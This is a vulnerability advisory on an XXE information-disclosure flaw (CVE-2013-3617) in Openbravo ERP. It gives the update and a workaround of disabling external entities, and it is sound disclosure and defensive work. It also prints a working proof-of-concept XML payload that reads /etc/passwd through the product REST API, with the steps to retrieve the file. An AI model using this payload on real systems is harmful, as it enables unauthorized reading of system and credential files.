Vulnerability Note VU#533894

Openbravo ERP contains an information disclosure vulnerability

Original Release date: 30 Oct 2013 | Last revised: 05 Nov 2013

Overview

Openbravo ERP 2.5, 3, and possibly earlier versions contain an information disclosure vulnerability (CWE-200).

Description

CWE-200: Information Exposure

Openbravo ERP version 2.5 and version 3 contain an information disclosure vulnerability. This is due to the expanded use of XML External Entity (XXE) Processing. An attacker can send specially crafted XML requests to the XML API and have the application return the contents of files on the filesystem.

An example of this request is listed here:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
 <!ELEMENT comments ANY >
 <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>

<ob:Openbravo xmlns:ob="http://www.example.com"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <Product id="C970393BDF6C43E2B030D23482D88EED" identifier="Zumo de Piņa 0,5L">
                <id>C970393BDF6C43E2B030D23482D88EED</id>
                <comments>&xxe;</comments>
        </Product>
</ob:Openbravo>

If sent as a PUT or POST request to the respective REST endpoint, this will update the product with the contents of /etc/passwd in the comment section of the product. You may then make a GET request to the respective product's REST endpoint to receive the contents back and parse the file's contents.

For more details, please see Tod Beardsley's Rapid7 blog post.

Impact

An authenticated attacker can send specially crafted XML requests to the XML API and have the application read the contents of the filesystem. This may be used to obtain unauthorized administrative access to the system.

Solution

Apply an Update
OpenBravo has released an update to address this vulnerability. Please refer to their issue tracker for more details.

You may also want to consider using the following workaround.

Disable XXE
By disabling the external general entities feature of the SAXParserFactory used to parse the XML within Java code, the attacker cannot successfully make these XML requests. More details can be found on the OWASP XML External Entity (XXE) Processing page.

Vendor Information (Learn More)

VendorStatusDate NotifiedDate Updated
OpenbravoAffected03 Sep 201311 Sep 2013
If you are a vendor and your product is affected, let us know.

CVSS Metrics (Learn More)

Group Score Vector
Base 3.5 AV:N/AC:M/Au:S/C:P/I:N/A:N
Temporal 2.7 E:POC/RL:OF/RC:C
Environmental 0.9 CDP:L/TD:L/CR:ND/IR:ND/AR:ND

References

Credit

Thanks to Tod Beardsley and Brandon Perry of Rapid7, Inc. for reporting this vulnerability.

This document was written by Adam Rauf.

Other Information

  • CVE IDs: CVE-2013-3617
  • Date Public: 30 Oct 2013
  • Date First Published: 30 Oct 2013
  • Date Last Updated: 05 Nov 2013
  • Document Revision: 38

Feedback

If you have feedback, comments, or additional information about this vulnerability, please send us email.